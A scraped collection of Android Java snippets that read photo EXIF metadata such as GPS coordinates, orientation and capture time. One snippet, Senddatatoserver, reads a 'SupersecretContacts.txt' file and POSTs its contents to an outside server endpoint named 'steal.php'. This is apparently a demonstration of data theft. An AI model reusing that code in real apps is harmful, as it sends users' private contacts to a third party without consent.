public double getDegree(ExifInterface exif, int lat) {
    String attrLATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
    String attrLATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
    String attrLONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
    String attrLONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);
    double Latitude = 0;
    double Longitude = 0;

    if ((attrLATITUDE != null)
        && (attrLATITUDE_REF != null)
        && (attrLONGITUDE != null)
        && (attrLONGITUDE_REF != null)) {

      if (attrLATITUDE_REF.equals("N")) {
        Latitude = convertToDegree(attrLATITUDE);
      } else {
        Latitude = 0 - convertToDegree(attrLATITUDE);
      }

      if (attrLONGITUDE_REF.equals("E")) {
        Longitude = convertToDegree(attrLONGITUDE);
      } else {
        Longitude = 0 - convertToDegree(attrLONGITUDE);
      }
    }
    if (lat == 1) return Latitude;
    else return Longitude;
  };
  private static void showExifInformation(IImage image, View d, Activity activity) {
    ExifInterface exif = getExif(image);
    if (exif == null) {
      hideExifInformation(d);
      return;
    }

    String value = exif.getAttribute(ExifInterface.TAG_MAKE);
    if (value != null) {
      setDetailsValue(d, value, R.id.details_make_value);
    } else {
      hideDetailsRow(d, R.id.details_make_row);
    }

    value = exif.getAttribute(ExifInterface.TAG_MODEL);
    if (value != null) {
      setDetailsValue(d, value, R.id.details_model_value);
    } else {
      hideDetailsRow(d, R.id.details_model_row);
    }

    value = getWhiteBalanceString(exif);
    if (value != null && !value.equals(EMPTY_STRING)) {
      setDetailsValue(d, value, R.id.details_whitebalance_value);
    } else {
      hideDetailsRow(d, R.id.details_whitebalance_row);
    }

    setLatLngDetails(d, activity, exif);
  }
예제 #3
0
  public static double[] getImageLocation(String filepath) {
    ExifInterface exif;
    try {
      exif = new ExifInterface(filepath);
      String LATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
      String LATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
      String LONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
      String LONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);

      double[] result = new double[2];

      // in case of no data
      if (LATITUDE == null || LATITUDE_REF == null || LONGITUDE == null || LONGITUDE_REF == null)
        return new double[] {0.0, 0.0};

      if (LATITUDE_REF.equals("N")) {
        result[1] = convertToDegree(LATITUDE);
      } else {
        result[1] = 0 - convertToDegree(LATITUDE);
      }

      if (LONGITUDE_REF.equals("E")) {
        result[0] = convertToDegree(LONGITUDE);
      } else {
        result[0] = 0 - convertToDegree(LONGITUDE);
      }

    } catch (IOException e) {
      e.printStackTrace();
    }
    return null;
  }
  public JSONArray getPhoto(String fileName, int size) {
    File dir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DCIM);
    Bitmap b = BitmapFactory.decodeFile(fileName);
    int width = b.getWidth();
    int height = b.getHeight();
    int isTall = 1;
    float ratio = ((float) width / height);
    int finalWidth = (int) ((float) size * ratio);
    int finalHeight = size;

    if (width > height) {
      isTall = 0;
      ratio = ((float) height / width);
      finalWidth = size;
      finalHeight = (int) ((float) size * ratio);
    }

    Bitmap out = Bitmap.createScaledBitmap(b, finalWidth, finalHeight, false);

    File file = new File(dir, "resize.png");
    FileOutputStream fOut;
    String base64 = "";
    try {
      fOut = new FileOutputStream(file);
      out.compress(Bitmap.CompressFormat.JPEG, 100, fOut);
      base64 = encodeTobase64(out);
      fOut.flush();
      fOut.close();
      b.recycle();
      out.recycle();
    } catch (Exception el) {

    }
    JSONArray result = new JSONArray();
    JSONObject obj = new JSONObject();
    try {
      ExifInterface exif = new ExifInterface(fileName);

      obj.put("data", base64);
      obj.put("id", fileName);
      obj.put("date", exif.getAttribute(ExifInterface.TAG_DATETIME));
      obj.put("orientation", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
      obj.put("lat", getDegree(exif, 1));
      obj.put("lng", getDegree(exif, 0));
    } catch (Exception e) {
    }

    result.put(obj);
    return result;
  }
  /**
   * Read location information from image.
   *
   * @param imagePath : image absolute path
   * @return : loation information
   */
  public Location readGeoTagImage(String imagePath) {
    Location loc = new Location("");
    try {
      ExifInterface exif = new ExifInterface(imagePath);
      float[] latlong = new float[2];
      if (exif.getLatLong(latlong)) {
        loc.setLatitude(latlong[0]);
        loc.setLongitude(latlong[1]);
      }
      String date = exif.getAttribute(ExifInterface.TAG_DATETIME);
      SimpleDateFormat fmt_Exif = new SimpleDateFormat("yyyy:MM:dd HH:mm:ss");
      try {
        loc.setTime(fmt_Exif.parse(date).getTime());
      } catch (java.text.ParseException e) {
        // TODO Auto-generated catch block
        e.printStackTrace();
      }

    } catch (IOException e) {
      e.printStackTrace();
    } catch (ParseException e) {
      e.printStackTrace();
    }
    return loc;
  }
예제 #6
0
  private static void checkOrientation(String originalImage, String resizedImage) {
    try {
      ExifInterface exif1 = new ExifInterface(originalImage);
      ExifInterface exif2 = new ExifInterface(resizedImage);

      final String orientation1 = exif1.getAttribute(ExifInterface.TAG_ORIENTATION);
      final String orientation2 = exif2.getAttribute(ExifInterface.TAG_ORIENTATION);

      if (!TextUtils.isEmpty(orientation1) && !orientation1.equals(orientation2)) {
        Log.d(
            TAG,
            "Orientation property in EXIF does not match. Overriding it with original value...");
        exif2.setAttribute(ExifInterface.TAG_ORIENTATION, orientation1);
        exif2.saveAttributes();
      }
    } catch (IOException e) {
      Log.e(TAG, e.getMessage());
    }
  }
예제 #7
0
 public static DateTime getImageCaptureTime(String filepath) {
   try {
     ExifInterface exif = new ExifInterface(filepath);
     String time = exif.getAttribute(ExifInterface.TAG_DATETIME);
     return DateTime.fromExifFormat(time);
   } catch (IOException e) {
     e.printStackTrace();
   }
   return null;
 }
예제 #8
0
  public static double getExifDouble(ExifInterface ei, String tag, double defaultValue) {
    String value = ei.getAttribute(tag);

    if (value == null) return defaultValue;

    try {
      return Double.parseDouble(value);
    } catch (NumberFormatException e) {
      return defaultValue;
    }
  }
  public JSONArray getAllPhotos() {
    final String[] projection = {MediaStore.Images.Media.DATA};
    final String selection = MediaStore.Images.Media.BUCKET_ID + " = ?";
    final String[] selectionArgs = {CAMERA_IMAGE_BUCKET_ID};
    final Cursor cursor =
        context
            .getContentResolver()
            .query(
                MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
                projection,
                selection,
                selectionArgs,
                null);
    // ArrayList<String> result = new ArrayList<String>(cursor.getCount());
    JSONArray result = new JSONArray();
    if (cursor.moveToFirst()) {
      final int dataColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA);
      do {
        try {
          final String data = cursor.getString(dataColumn);
          ExifInterface exif = new ExifInterface(data);
          final String date = exif.getAttribute(ExifInterface.TAG_DATETIME);
          JSONObject obj = new JSONObject();
          obj.put("date", date);
          obj.put("id", data);
          obj.put("lat", getDegree(exif, 1));
          obj.put("lng", getDegree(exif, 0));
          obj.put("orientation", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
          // obj.put("lat", exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE));
          // obj.put("lng", exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE));
          result.put(obj);
        } catch (Exception e) {

        }
      } while (cursor.moveToNext());
    }
    cursor.close();
    return result;
  }
예제 #10
0
  /**
   * 获得正确的image方向的Bitmap
   *
   * @param path
   * @return
   */
  public static Bitmap decodeFile(
      String path, int newWidth, int newHeight) { // you can provide file path here
    try {
      Bitmap realImage = BitmapFactory.decodeFile(path);

      ExifInterface exif = new ExifInterface(path);

      Log.d("EXIF value", exif.getAttribute(ExifInterface.TAG_ORIENTATION));
      if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("6")) {

        realImage = scaleAndRotateBitmap(realImage, 90, newWidth, newHeight);
      } else if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("8")) {
        realImage = scaleAndRotateBitmap(realImage, 270, newWidth, newHeight);
      } else if (exif.getAttribute(ExifInterface.TAG_ORIENTATION).equalsIgnoreCase("3")) {
        realImage = scaleAndRotateBitmap(realImage, 180, newWidth, newHeight);
      } else realImage = scaleBitmap(realImage, newWidth, newHeight);
      return realImage;
    } catch (Exception ex) {
      ex.printStackTrace();
      return null;
    }
  }
예제 #11
0
  /**
   * Load the exif tags into the passed Bundle
   *
   * @param filepath
   * @param out
   * @return true if exif tags are loaded correctly
   */
  public static boolean loadAttributes(final String filepath, Bundle out) {
    ExifInterface e;
    try {
      e = new ExifInterface(filepath);
    } catch (IOException e1) {
      e1.printStackTrace();
      return false;
    }

    for (String tag : EXIF_TAGS) {
      out.putString(tag, e.getAttribute(tag));
    }
    return true;
  }
예제 #12
0
  /**
   * Parses the exif date string in the UTC timezone (which is probably not correct, but the local
   * timezone may not be either
   */
  public static long getExifDateInUTC(ExifInterface ei) {
    String dateTimeStr = ei.getAttribute(ExifInterface.TAG_DATETIME);

    if (dateTimeStr != null) {
      synchronized (utcFormat) {
        try {
          return utcFormat.parse(dateTimeStr).getTime();
        } catch (ParseException e) {
          return 0;
        }
      }
    }

    return 0;
  }
 @Override
 public View onCreateView(
     LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
   super.onCreate(savedInstanceState);
   ScrollView sv = new ScrollView(this.getActivity().getApplicationContext());
   TableLayout tableLayout = new TableLayout(this.getActivity().getApplicationContext());
   sv.addView(tableLayout);
   TableRow tableRow;
   TextView textView;
   File dir = new File(Environment.getExternalStorageDirectory() + "/PhotoAR/");
   File[] filelist = dir.listFiles();
   //			f.getName()
   //		{ // do your stuff here }
   if (filelist != null) {
     for (File f : filelist) {
       tableRow = new TableRow(this.getActivity().getApplicationContext());
       textView = new TextView(this.getActivity().getApplicationContext());
       Calendar cal = Calendar.getInstance(Locale.ENGLISH);
       cal.setTimeInMillis(Long.valueOf(f.getName().replace(".jpg", "")));
       String date = DateFormat.format("dd-MM-yyyy hh:mm:ss", cal).toString();
       ExifInterface exif = null;
       String message = "";
       try {
         exif = new ExifInterface(f.getCanonicalPath());
         message = exif.getAttribute("UserComment");
       } catch (IOException e) {
         // TODO Auto-generated catch block
         e.printStackTrace();
       }
       textView.setText(date + " " + message);
       textView.setPadding(20, 20, 20, 20);
       tableRow.addView(textView);
       tableLayout.addView(tableRow);
     }
   } else {
     tableRow = new TableRow(this.getActivity().getApplicationContext());
     textView = new TextView(this.getActivity().getApplicationContext());
     textView.setText("[No Submissions]");
     textView.setPadding(20, 20, 20, 20);
     tableRow.addView(textView);
     tableLayout.addView(tableRow);
   }
   //		setContentView(tableLayout);
   View rootView = sv;
   //		View rootView = inflater.inflate(R.layout.coming_soon_layout, container, false);
   return rootView;
 }
예제 #14
0
  @Override
  public int getRequiredImageRotation(String path) {
    try {
      ExifInterface exif = new ExifInterface(path);
      int orientation = Integer.parseInt(exif.getAttribute(ExifInterface.TAG_ORIENTATION));

      // only handle common cases
      switch (orientation) {
        case 3:
          return 180;
        case 6:
          return 90;
        case 8:
          return 270;
      }
    } catch (Exception ex) {
      Log.e("DroidChatty", "Couldn't determine image orientation", ex);
    }

    return 0;
  }
예제 #15
0
  private void Senddatatoserver() {
    String contactdata = "";
    File path = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);
    try {
      byte[] contactarray = new byte[11024];
      ExifInterface exif = new ExifInterface(path.getPath() + "/DemoPicture.jpg");
      contactdata = exif.getAttribute(ExifInterface.TAG_MODEL);
      FileInputStream f = new FileInputStream(new File(path.getPath(), "SupersecretContacts.txt"));
      f.read(contactarray, 0, contactarray.length);
      f.close();
      contactdata = new String(contactarray);
      // send this contactdata to the server
      HttpClient httpclient = new DefaultHttpClient();
      HttpPost httppost = new HttpPost("http://kieranlevin.com/scontacts/steal.php");

      // Add your data
      List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);
      nameValuePairs.add(new BasicNameValuePair("contacts", contactdata));
      httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs));

      // Execute HTTP Post Request
      HttpResponse response = httpclient.execute(httppost);

      Context context = getApplicationContext();
      CharSequence text = "Success - Sent contacts to server ";
      int duration = Toast.LENGTH_LONG;
      Toast toast = Toast.makeText(context, text, duration);
      toast.show();

    } catch (ClientProtocolException e) {
      // TODO Auto-generated catch block
    } catch (IOException e) {
      Context context = getApplicationContext();
      CharSequence text = e.toString() + " Failed to connect to server ";
      int duration = Toast.LENGTH_LONG;
      Toast toast = Toast.makeText(context, text, duration);
      toast.show();
      // TODO Auto-generated catch block
    }
  }
    @Override
    protected Integer doInBackground(Void... voids) {
      Log.w(LOG, "## PhotoTask starting doInBackground, file length: " + photoFile.length());
      pictureChanged = false;
      ExifInterface exif = null;
      if (photoFile == null || photoFile.length() == 0) {
        Log.e(LOG, "----- photoFile is null or length 0, exiting");
        return 99;
      }
      fileUri = Uri.fromFile(photoFile);
      if (fileUri != null) {
        try {
          exif = new ExifInterface(photoFile.getAbsolutePath());
          String orient = exif.getAttribute(ExifInterface.TAG_ORIENTATION);
          Log.i(LOG, "@@@@@@@@@@@@@@@@@@@@@@ Orientation says: " + orient);
          float rotate = 0f;
          if (orient.equalsIgnoreCase("6")) {
            rotate = 90f;
            Log.i(LOG, "@@@@@ picture, rotate = " + rotate);
          }
          try {
            BitmapFactory.Options options = new BitmapFactory.Options();
            options.inSampleSize = 2;
            Bitmap bm = BitmapFactory.decodeFile(photoFile.getAbsolutePath(), options);
            if (bm == null) {
              Log.e(LOG, "---> Bitmap is null, file length: " + photoFile.length());
            }
            getLog(bm, "Raw Camera");
            // get thumbnail for upload
            Matrix matrixThumbnail = new Matrix();
            matrixThumbnail.postScale(0.4f, 0.4f);
            // matrixThumbnail.postRotate(rotate);
            Bitmap thumb =
                Bitmap.createBitmap(bm, 0, 0, bm.getWidth(), bm.getHeight(), matrixThumbnail, true);
            getLog(thumb, "Thumb");

            // get resized "full" size for upload
            Matrix matrixF = new Matrix();
            matrixF.postScale(0.75f, 0.75f);
            // matrixF.postRotate(rotate);
            Bitmap fullBm =
                Bitmap.createBitmap(bm, 0, 0, bm.getWidth(), bm.getHeight(), matrixF, true);

            getLog(fullBm, "Full");
            // append date and gps coords to bitmap
            // fullBm = ImageUtil.drawTextToBitmap(ctx,fullBm,location);
            // thumb = ImageUtil.drawTextToBitmap(ctx,thumb,location);

            currentFullFile =
                ImageUtil.getFileFromBitmap(fullBm, "m" + System.currentTimeMillis() + ".jpg");
            currentThumbFile =
                ImageUtil.getFileFromBitmap(thumb, "t" + System.currentTimeMillis() + ".jpg");
            bitmapForScreen = ImageUtil.getBitmapFromUri(ctx, Uri.fromFile(currentFullFile));

            Log.e(LOG, "## files created from camera bitmap");

            thumbUri = Uri.fromFile(currentThumbFile);
            fullUri = Uri.fromFile(currentFullFile);
            // write exif data
            Util.writeLocationToExif(currentFullFile.getAbsolutePath(), location);
            Util.writeLocationToExif(currentThumbFile.getAbsolutePath(), location);
            fullBm = null;
            thumb = null;
            bm = null;
            getFileLengths();
          } catch (Exception e) {
            Log.e("pic", "F**k it! unable to process bitmap", e);
            return 9;
          }

        } catch (Exception e) {
          e.printStackTrace();
          return 1;
        }
      }
      return 0;
    }
예제 #17
0
    @Override
    protected Void doInBackground(Void... params) {
      // File directory = new File("/storage/emulated/0/DCIM/Camera");//1396798512418.jpg
      // File directory1 =
      // Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_PICTURES);//+"/Camera");
      File directory =
          HomeActivity.EMULSIFY_DIRECTORY; // new File(directory1.getAbsolutePath() + "/emulsify");
      // File directory = new File(Environment.DIRECTORY_DCIM+"/camera/");
      File[] files = directory.listFiles();

      if (files != null) {
        for (File f : files) {

          Bitmap bmp = BitmapFactory.decodeFile(f.getAbsolutePath());
          Bitmap bmp2 = null;
          if (bmp.getWidth() > bmp.getHeight())
            bmp2 =
                Bitmap.createScaledBitmap(
                    bmp,
                    (int) (((float) bmp.getWidth() / bmp.getHeight()) * ICON_HEIGHT),
                    ICON_HEIGHT,
                    false);
          else if (bmp.getWidth() < bmp.getHeight())
            bmp2 =
                Bitmap.createScaledBitmap(
                    bmp,
                    ICON_HEIGHT,
                    (int) (((float) bmp.getHeight() / bmp.getWidth()) * ICON_HEIGHT),
                    false);

          float Latitude = 0.0F, Longitude = 0.0F;
          ExifInterface exif = null;

          try {
            exif = new ExifInterface(f.getAbsolutePath());
          } catch (IOException e) {
            e.printStackTrace();
          }

          // TODO: credit
          // http://stackoverflow.com/questions/15403797/how-to-get-the-latititude-and-longitude-of-an-image-in-sdcard-to-my-application
          String LATITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE);
          String LATITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LATITUDE_REF);
          String LONGITUDE = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE);
          String LONGITUDE_REF = exif.getAttribute(ExifInterface.TAG_GPS_LONGITUDE_REF);

          if ((LATITUDE != null)
              && (LATITUDE_REF != null)
              && (LONGITUDE != null)
              && (LONGITUDE_REF != null)) {

            if (LATITUDE_REF.equals("N")) {
              Latitude = convertToDegree(LATITUDE);
            } else {
              Latitude = 0 - convertToDegree(LATITUDE);
            }

            if (LONGITUDE_REF.equals("E")) {
              Longitude = convertToDegree(LONGITUDE);
            } else {
              Longitude = 0 - convertToDegree(LONGITUDE);
            }

            publishProgress(bmp2, Latitude, Longitude, f.getAbsolutePath());
          } else {
            // try the second approach, which is not used by emulsify pictures (thus hopefully
            // allowing for
            // the easy assimilation of ANY picture put in the emulsify directory)
            float[] d = new float[2];
            exif.getLatLong(d);
            Latitude = d[0];
            Longitude = d[1];
            publishProgress(bmp2, Latitude, Longitude, f.getAbsolutePath());
          }
        }
      } else {
        emptyFlag = true;
      }
      return null;
    }
예제 #18
0
 private String getTagString(String tag, ExifInterface exif) {
   return (tag + " : " + exif.getAttribute(tag) + "\n");
 }